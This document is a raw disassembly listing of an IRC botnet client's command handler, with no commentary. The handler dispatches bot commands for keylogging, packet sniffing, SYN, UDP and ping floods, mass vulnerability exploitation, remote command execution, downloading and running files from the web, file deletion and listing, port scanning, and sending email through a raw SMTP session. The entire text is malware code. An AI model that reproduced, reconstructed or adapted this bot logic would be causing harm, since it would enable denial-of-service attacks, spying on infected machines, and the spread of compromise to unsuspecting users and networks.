"Remote shell" push offset aCmd ; "[CMD]" jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B624: ; CODE XREF: .nsp0:0040B60Aj push edi push offset aEnz_who ; "enz.who" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B6B1 cmp [ebp-8], ebx jnz short loc_40B654 push ebx push dword ptr [ebp-4] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40B654: ; CODE XREF: .nsp0:0040B638j mov edi, [ebp+20h] xor esi, esi loc_40B659: ; CODE XREF: .nsp0:0040B69Fj cmp [edi], bl lea eax, [edi+1] jnz short loc_40B665 mov eax, offset aEmpty ; "<Empty>" loc_40B665: ; CODE XREF: .nsp0:0040B65Ej push eax push esi lea eax, [ebp-2C8h] push offset aD_S ; "%d. %s" push eax call sub_411EEE push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40B659 push offset dword_42F604 loc_40B6A6: ; CODE XREF: .nsp0:0040F41Fj call sub_408E17 pop ecx jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40B6B1: ; CODE XREF: .nsp0:0040B633j push edi push offset aBox_getclip ; "box.getclip" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF15 push edi push offset aBox_gc ; "box.gc" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF15 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EEEA push edi push offset aUtil_farp ; "util.farp" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EEEA push edi push offset aUtil_flushdns ; "util.flushdns" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EEC6 push edi push offset aUtil_fdns ; "util.fdns" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EEC6 push edi push offset aVuln_currentip ; "vuln.currentip" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EE89 push edi push offset aVuln_cip ; "vuln.cip" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EE89 push edi push offset aServer_httpd_o ; "server.httpd.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40ECEF push edi push offset aServer_web_on ; "server.web.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40ECEF push edi push offset aServer_tftp_on ; "server.tftp.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EBA3 push edi push offset aServer_tf_on ; "server.tf.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EBA3 push edi push offset aVuln_massexplo ; "vuln.massexploit" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E8A4 push edi push offset aVall ; "vall" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E8A4 mov edi, [ebp+esi-90h] cmp edi, ebx jz loc_40A7B4 push dword ptr [ebp+18h] push offset aEnz_nick ; "enz.nick" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E88B push dword ptr [ebp+18h] push offset aEnz_n ; "enz.n" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E88B push dword ptr [ebp+18h] push offset aEnz_join ; "enz.join" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E86B push dword ptr [ebp+18h] push offset aEnz_j ; "enz.j" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E86B push dword ptr [ebp+18h] push offset aEnz_part ; "enz.part" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E852 push dword ptr [ebp+18h] push offset aEnz_pt ; "enz.pt" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E852 push dword ptr [ebp+18h] push offset aEnz_raw ; "enz.raw" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E81B push dword ptr [ebp+18h] push offset aEnz_r ; "enz.r" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E81B push dword ptr [ebp+18h] push offset aThreads_kill ; "threads.kill" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E758 push dword ptr [ebp+18h] push offset aThreads_k ; "threads.k" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E758 push dword ptr [ebp+18h] push offset aClone_quit ; "clone.quit" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E6AD push dword ptr [ebp+18h] push offset aClone_q ; "clone.q" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E6AD push dword ptr [ebp+18h] push offset aClone_rndnick ; "clone.rndnick" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E662 push dword ptr [ebp+18h] push offset aClone_rn ; "clone.rn" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E662 push dword ptr [ebp+18h] push offset aEnz_prefix ; "enz.prefix" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E64D push dword ptr [ebp+18h] push offset aEnz_pr ; "enz.pr" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E64D push dword ptr [ebp+18h] push offset aBox_open ; "box.open" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E623 push dword ptr [ebp+18h] push offset aBox_o ; "box.o" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E623 push dword ptr [ebp+18h] push offset aEnz_setserve ; "enz.setserve" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E5FE push dword ptr [ebp+18h] push offset aEnz_se ; "enz.se" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E5FE push dword ptr [ebp+18h] push offset aEnz_dns ; "enz.dns" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E56C push dword ptr [ebp+18h] push offset aEnz_dn ; "enz.dn" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E56C push dword ptr [ebp+18h] push offset aBox_killprocna ; "box.killprocname" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E540 push dword ptr [ebp+18h] push offset aBox_kpn ; "box.kpn" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E540 push dword ptr [ebp+18h] push offset aBox_prockillid ; "box.prockillid" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E4E5 push dword ptr [ebp+18h] push offset aBox_pkid ; "box.pkid" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E4E5 push dword ptr [ebp+18h] push offset aBox_delete ; "box.delete" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E4AE push dword ptr [ebp+18h] push offset aBox_del ; "box.del" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E4AE push dword ptr [ebp+18h] push offset aBox_filelist ; "box.filelist" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E493 push dword ptr [ebp+18h] push offset aBox_fl ; "box.fl" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E493 push dword ptr [ebp+18h] push offset aMirc_cmd ; "mirc.cmd" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E458 push dword ptr [ebp+18h] push offset aMirc_cmd ; "mirc.cmd" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E458 push dword ptr [ebp+18h] push offset aBox_cmd ; "box.cmd" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E40D push dword ptr [ebp+18h] push offset aBox_cm ; "box.cm" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E40D push dword ptr [ebp+18h] push offset aBox_readfile ; "box.readfile" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E388 push dword ptr [ebp+18h] push offset aBox_rf ; "box.rf" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E388 push dword ptr [ebp+18h] push offset aSniff ; "sniff" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40BC6F push edi push offset aOn ; "on" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40BC37 push 18h call sub_411BE2 test eax, eax pop ecx jle short loc_40BB64 push offset unk_42F380 jmp loc_40EBB4 ; --------------------------------------------------------------------------- loc_40BB64: ; CODE XREF: .nsp0:0040BB58j mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-4DCh], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-450h], eax jnz short loc_40BBA6 mov esi, offset dword_425C08 push offset byte_432708 push esi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BBA6 mov esi, [ebp-8Ch] loc_40BBA6: ; CODE XREF: .nsp0:0040BB88j ; .nsp0:0040BB9Ej push esi lea eax, [ebp-4D8h] push 80h push eax call sub_41246A lea eax, [ebp-2C8h] push offset unk_42F33C push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 18h push eax call sub_41199A add esp, 20h mov [ebp-458h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset loc_4024DC push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-458h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40BC26 loc_40BC10: ; CODE XREF: .nsp0:0040BC24j cmp [ebp-44Ch], ebx jnz loc_40F73A push 32h call dword_41D05C ; Sleep jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BC26: ; CODE XREF: .nsp0:0040BC0Ej call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42F2EC jmp loc_40F72B ; --------------------------------------------------------------------------- loc_40BC37: ; CODE XREF: .nsp0:0040BB48j push edi push offset aOff ; "off" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40F73A push ebx push 18h call sub_411B95 pop ecx cmp eax, ebx pop ecx jle short loc_40BC65 push eax push offset unk_42F29C jmp loc_40F72B ; --------------------------------------------------------------------------- loc_40BC65: ; CODE XREF: .nsp0:0040BC58j push offset unk_42F260 jmp loc_40EBB4 ; --------------------------------------------------------------------------- loc_40BC6F: ; CODE XREF: .nsp0:0040BB33j push dword ptr [ebp+18h] push offset aBox_keylog ; "box.keylog" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40BDE6 push edi push offset aOn ; "on" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40BCE0 push edi push offset aFile ; "file" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40BCE0 push edi push offset aOff ; "off" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40F73A push ebx push 1Ah call sub_411B95 pop ecx cmp eax, ebx pop ecx jle short loc_40BCD6 push eax push offset unk_42F204 jmp loc_40F72B ; --------------------------------------------------------------------------- loc_40BCD6: ; CODE XREF: .nsp0:0040BCC9j push offset unk_42F1C4 jmp loc_40EBB4 ; --------------------------------------------------------------------------- loc_40BCE0: ; CODE XREF: .nsp0:0040BC95j ; .nsp0:0040BCA6j push 1Ah call sub_411BE2 test eax, eax pop ecx jle short loc_40BCF6 push offset unk_42F190 jmp loc_40EBB4 ; --------------------------------------------------------------------------- loc_40BCF6: ; CODE XREF: .nsp0:0040BCEAj mov eax, [ebp+0Ch] push edi mov [ebp-4DCh], eax mov eax, [ebp-4] push offset aFile ; "file" mov [ebp-454h], eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BD25 mov dword ptr [ebp-450h], 1 jmp short loc_40BD2E ; --------------------------------------------------------------------------- loc_40BD25: ; CODE XREF: .nsp0:0040BD17j mov eax, [ebp-8] mov [ebp-450h], eax loc_40BD2E: ; CODE XREF: .nsp0:0040BD23j mov esi, [ebp+esi-8Ch] cmp esi, ebx jnz short loc_40BD55 mov esi, offset dword_425C04 push offset byte_432708 push esi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BD55 mov esi, [ebp-8Ch] loc_40BD55: ; CODE XREF: .nsp0:0040BD37j ; .nsp0:0040BD4Dj push esi lea eax, [ebp-4D4h] push 80h push eax call sub_41246A lea eax, [ebp-2C8h] push offset unk_42F15C push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 1Ah push eax call sub_41199A add esp, 20h mov [ebp-4D8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4DCh] push ebx push eax push offset sub_4021FB push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-4D8h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40BDD5 loc_40BDBF: ; CODE XREF: .nsp0:0040BDD3j cmp [ebp-44Ch], ebx jnz loc_40F73A push 32h call dword_41D05C ; Sleep jmp short loc_40BDBF ; --------------------------------------------------------------------------- loc_40BDD5: ; CODE XREF: .nsp0:0040BDBDj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42F10C jmp loc_40F72B ; --------------------------------------------------------------------------- loc_40BDE6: ; CODE XREF: .nsp0:0040BC80j push dword ptr [ebp+18h] push offset aBox_net ; "box.net" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40C0B7 cmp dword_433B98, ebx jz short loc_40BE17 cmp dword_433BC0, ebx jz short loc_40BE17 push offset dword_42F0B8 jmp loc_40C071 ; --------------------------------------------------------------------------- loc_40BE17: ; CODE XREF: .nsp0:0040BE03j ; .nsp0:0040BE0Bj cmp [ebp-0Ch], ebx jz loc_40C07F mov eax, [ebp+esi-8Ch] mov [ebp+8], ebx cmp eax, ebx mov [ebp+20h], eax jz short loc_40BE3F push eax push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx mov [ebp+8], eax pop ecx loc_40BE3F: ; CODE XREF: .nsp0:0040BE2Fj push edi push offset aStart ; "start" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BEA5 cmp [ebp+20h], ebx jz short loc_40BE79 push dword ptr [ebp+8] push 3 loc_40BE5A: ; CODE XREF: .nsp0:0040BEBBj ; .nsp0:0040BED3j ... call sub_40FA8C push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_411EEE add esp, 14h jmp loc_40C07F ; --------------------------------------------------------------------------- loc_40BE79: ; CODE XREF: .nsp0:0040BE53j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40FD33 add esp, 0Ch test eax, eax jz short loc_40BE9B push offset dword_42F080 jmp loc_40C071 ; --------------------------------------------------------------------------- loc_40BE9B: ; CODE XREF: .nsp0:0040BE8Fj push offset dword_42F04C jmp loc_40C071 ; --------------------------------------------------------------------------- loc_40BEA5: ; CODE XREF: .nsp0:0040BE4Ej push edi push offset aStop ; "stop" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BEBD push dword ptr [ebp+8] push 4 jmp short loc_40BE5A ; --------------------------------------------------------------------------- loc_40BEBD: ; CODE XREF: .nsp0:0040BEB4j push edi push offset aPause ; "pause" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BED5 push dword ptr [ebp+8] push 5 jmp short loc_40BE5A ; --------------------------------------------------------------------------- loc_40BED5: ; CODE XREF: .nsp0:0040BECCj push edi push offset aContinue ; "continue" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BEF0 push dword ptr [ebp+8] push 6 jmp loc_40BE5A ; --------------------------------------------------------------------------- loc_40BEF0: ; CODE XREF: .nsp0:0040BEE4j push edi push offset aDelete ; "delete" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BF0B push dword ptr [ebp+8] push 1 jmp loc_40BE5A ; --------------------------------------------------------------------------- loc_40BF0B: ; CODE XREF: .nsp0:0040BEFFj push edi push offset aShare ; "share" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40BF88 cmp [ebp+20h], ebx jz short loc_40BF5B cmp [ebp-9B0h], bl jz short loc_40BF31 push ebx push dword ptr [ebp+20h] push 1 jmp short loc_40BF3C ; --------------------------------------------------------------------------- loc_40BF31: ; CODE XREF: .nsp0:0040BF27j push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push ebx loc_40BF3C: ; CODE XREF: .nsp0:0040BF2Fj call sub_40FE70 push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_411EEE add esp, 18h jmp loc_40C07F ; --------------------------------------------------------------------------- loc_40BF5B: ; CODE XREF: .nsp0:0040BF1Fj push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_410065 add esp, 10h test eax, eax jz short loc_40BF7E push offset dword_42EFF8 jmp loc_40C071 ; --------------------------------------------------------------------------- loc_40BF7E: ; CODE XREF: .nsp0:0040BF72j push offset dword_42EFC4 jmp loc_40C071 ; --------------------------------------------------------------------------- loc_40BF88: ; CODE XREF: .nsp0:0040BF1Aj push edi push offset aUser ; "user" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40C024 mov eax, [ebp+20h] cmp eax, ebx jz short loc_40BFFD cmp [ebp-9B0h], bl jz short loc_40BFBE push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push ebx push eax push 1 jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFBE: ; CODE XREF: .nsp0:0040BFAAj push dword ptr [ebp-4] mov esi, [ebp+esi-88h] cmp esi, ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] jz short loc_40BFDA push esi push eax push ebx jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFDA: ; CODE XREF: .nsp0:0040BFD3j push ebx push eax push 2 loc_40BFDE: ; CODE XREF: .nsp0:0040BFBCj ; .nsp0:0040BFD8j call sub_410186 push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_411EEE add esp, 24h jmp loc_40C07F ; --------------------------------------------------------------------------- loc_40BFFD: ; CODE XREF: .nsp0:0040BFA2j push ebx push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_41069A add esp, 10h test eax, eax jz short loc_40C01D push offset dword_42EF88 jmp short loc_40C071 ; --------------------------------------------------------------------------- loc_40C01D: ; CODE XREF: .nsp0:0040C014j push offset dword_42EF58 jmp short loc_40C071 ; --------------------------------------------------------------------------- loc_40C024: ; CODE XREF: .nsp0:0040BF97j push edi push offset aSend ; "send" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40C06C cmp [ebp+20h], ebx jz short loc_40C065 push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41094E push eax lea eax, [ebp-2C8h] push offset aS_1 ; "%s" push eax call sub_411EEE add esp, 1Ch jmp short loc_40C07F ; --------------------------------------------------------------------------- loc_40C065: ; CODE XREF: .nsp0:0040C038j push offset dword_42EF24 jmp short loc_40C071 ; --------------------------------------------------------------------------- loc_40C06C: ; CODE XREF: .nsp0:0040C033j push offset dword_42EEF4 loc_40C071: ; CODE XREF: .nsp0:0040BE12j ; .nsp0:0040BE96j ... lea eax, [ebp-2C8h] push eax call sub_411EEE pop ecx pop ecx loc_40C07F: ; CODE XREF: .nsp0:0040BE1Aj ; .nsp0:0040BE74j ... cmp [ebp-8], ebx jnz short loc_40C0A0 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40C0A0: ; CODE XREF: .nsp0:0040C082j ; .nsp0:0040E3FDj ... mov esi, [ebp+2Ch] loc_40C0A3: ; CODE XREF: .nsp0:0040E519j ; .nsp0:0040E53Bj ... lea eax, [ebp-2C8h] push eax call sub_408E17 pop ecx mov eax, esi jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40C0B7: ; CODE XREF: .nsp0:0040BDF7j push dword ptr [ebp+18h] push offset aEnz_gethost ; "enz.gethost" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E2A4 push dword ptr [ebp+18h] push offset aEnz_gh ; "enz.gh" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E2A4 mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+20h], eax jz loc_40A7B4 push dword ptr [ebp+18h] push offset aEnz_addalias ; "enz.addalias" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E268 push dword ptr [ebp+18h] push offset aEnz_aa ; "enz.aa" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E268 push dword ptr [ebp+18h] push offset aEnz_privmsg ; "enz.privmsg" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E215 push dword ptr [ebp+18h] push offset aEnz_pm ; "enz.pm" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E215 push dword ptr [ebp+18h] push offset aEnz_action ; "enz.action" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E1A7 push dword ptr [ebp+18h] push offset aEnz_ac ; "enz.ac" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E1A7 push dword ptr [ebp+18h] push offset aEnz_cycle ; "enz.cycle" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E144 push dword ptr [ebp+18h] push offset aEnz_cy ; "enz.cy" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E144 push dword ptr [ebp+18h] push offset aEnz_mode ; "enz.mode" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E105 push dword ptr [ebp+18h] push offset aEnz_m ; "enz.m" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E105 push dword ptr [ebp+18h] push offset aClone_raw ; "clone.raw" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E09A push dword ptr [ebp+18h] push offset aClone_ra ; "clone.ra" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E09A push dword ptr [ebp+18h] push offset aClone_mode ; "clone.mode" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E018 push dword ptr [ebp+18h] push offset aClone_m ; "clone.m" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40E018 push dword ptr [ebp+18h] push offset aClone_nick ; "clone.nick" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DFA7 push dword ptr [ebp+18h] push offset aClone_ni ; "clone.ni" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DFA7 push dword ptr [ebp+18h] push offset aClone_join ; "clone.join" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DF81 push dword ptr [ebp+18h] push offset aClone_j ; "clone.j" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DF81 push dword ptr [ebp+18h] push offset aClone_part ; "clone.part" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DF1E push dword ptr [ebp+18h] push offset aClone_p ; "clone.p" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DF1E push dword ptr [ebp+18h] push offset aEnz_repeat ; "enz.repeat" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DE49 push dword ptr [ebp+18h] push offset aEnz_rp ; "enz.rp" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DE49 push dword ptr [ebp+18h] push offset aEnz_delay ; "enz.delay" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DDAE push dword ptr [ebp+18h] push offset aEnz_de ; "enz.de" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DDAE push dword ptr [ebp+18h] push offset aDownload_updiz ; "download.updiz" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DC30 push dword ptr [ebp+18h] push offset aDownload_upz ; "download.upz" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DC30 push dword ptr [ebp+18h] push offset aBox_execute ; "box.execute" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DB9D push dword ptr [ebp+18h] push offset aBox_e ; "box.e" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DB9D push dword ptr [ebp+18h] push offset aBox_findfile ; "box.findfile" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DA90 push dword ptr [ebp+18h] push offset aBox_ff ; "box.ff" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DA90 push dword ptr [ebp+18h] push offset aBox_rename ; "box.rename" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DA3C push dword ptr [ebp+18h] push offset aBox_mv ; "box.mv" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40DA3C push dword ptr [ebp+18h] push offset aDdos_icmp ; "ddos.icmp" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D941 push dword ptr [ebp+18h] push offset aDdos_ic ; "ddos.ic" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D941 mov eax, [ebp+esi-88h] cmp eax, ebx mov [ebp+8], eax jz loc_40A7B4 push dword ptr [ebp+18h] push offset aClone_make ; "clone.make" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D856 push dword ptr [ebp+18h] push offset aClone_start ; "clone.start" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D856 push dword ptr [ebp+18h] push offset aDs_sy1 ; "ds.sy1" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D751 push dword ptr [ebp+18h] push offset aDs_ack ; "ds.ack" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D751 push dword ptr [ebp+18h] push offset aDs_rm ; "ds.rm" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D751 push dword ptr [ebp+18h] push offset aDdos_synflood ; "ddos.synflood" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D653 push dword ptr [ebp+18h] push offset aSy1 ; "sy1" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D653 push dword ptr [ebp+18h] push offset aDownload_fromw ; "download.fromwww" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D515 push dword ptr [ebp+18h] push offset aD1 ; "d1" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D515 push dword ptr [ebp+18h] push offset aServer_redir_0 ; "server.redirect.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D41B push dword ptr [ebp+18h] push offset aServer_rd_on ; "server.rd.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D41B push dword ptr [ebp+18h] push offset aEnz_portscan ; "enz.portscan" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D328 push dword ptr [ebp+18h] push offset aEnz_ps ; "enz.ps" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D328 push dword ptr [ebp+18h] push offset aClone_privmsg ; "clone.privmsg" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D253 push dword ptr [ebp+18h] push offset aClone_pm ; "clone.pm" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D253 push dword ptr [ebp+18h] push offset aClone_action ; "clone.action" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D13E push dword ptr [ebp+18h] push offset aClone_ac ; "clone.ac" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40D13E mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+10h], eax jz loc_40A7B4 push dword ptr [ebp+18h] push offset aVuln_start ; "vuln.start" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CDE7 push dword ptr [ebp+18h] push offset aVv ; "vv" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CDE7 push dword ptr [ebp+18h] push offset aDdos_udpflood ; "ddos.udpflood" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CCC7 push dword ptr [ebp+18h] push offset aDdos_udpf ; "ddos.udpf" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CCC7 push dword ptr [ebp+18h] push offset aPu ; "pu" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CCC7 push dword ptr [ebp+18h] push offset aDdos_pingflood ; "ddos.pingflood" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CB94 push dword ptr [ebp+18h] push offset aDdos_pingf ; "ddos.pingf" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CB94 push dword ptr [ebp+18h] push offset aPg ; "pg" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CB94 push dword ptr [ebp+18h] push offset aDdod ; "ddod" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CA01 push dword ptr [ebp+18h] push offset aUsa ; "usa" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40CA01 push dword ptr [ebp+18h] push offset aUtil_email ; "util.email" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40C802 lea eax, [ebp-3E4h] push edi push eax call sub_412600 push dword ptr [ebp+20h] call sub_41245F push dword ptr [ebp+8] mov [ebp+20h], eax lea eax, [ebp-0D9Ch] push eax call sub_412600 push dword ptr [ebp+10h] lea eax, [ebp-0B94h] push eax call sub_412600 push offset asc_421F4C ; " " push offset a_ ; "_" push dword ptr [ebp+esi-80h] call sub_40787E push eax lea eax, [ebp-548h] push eax call sub_412600 add esp, 30h lea eax, [ebp-6F4h] push eax push 101h call dword_433A40 ; WSAStartup lea eax, [ebp-3E4h] push eax call dword_433B4C ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_433B48 ; socket push dword ptr [ebp+20h] mov esi, eax mov word ptr [ebp-2D8h], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-2D4h], eax call dword_433AC8 ; ntohs mov [ebp-2D6h], ax lea eax, [ebp-548h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-548h] push eax lea eax, [ebp-0B94h] push eax lea eax, [ebp-0D9Ch] push eax lea eax, [ebp-159Ch] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_411EEE add esp, 1Ch lea eax, [ebp-2D8h] push 10h push eax push esi call dword_433A70 ; connect mov edi, 100h push ebx lea eax, [ebp-0C98h] push edi push eax push esi call dword_433AE0 ; recv lea eax, [ebp-0C98h] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp-159Ch] push eax push esi call dword_433B18 ; send push ebx lea eax, [ebp-0C98h] push edi push eax push esi call dword_433AE0 ; recv push esi call dword_433B60 ; closesocket call dword_433A28 ; WSACleanup lea eax, [ebp-0B94h] push eax push offset unk_42EBA8 jmp loc_40DF0A ; 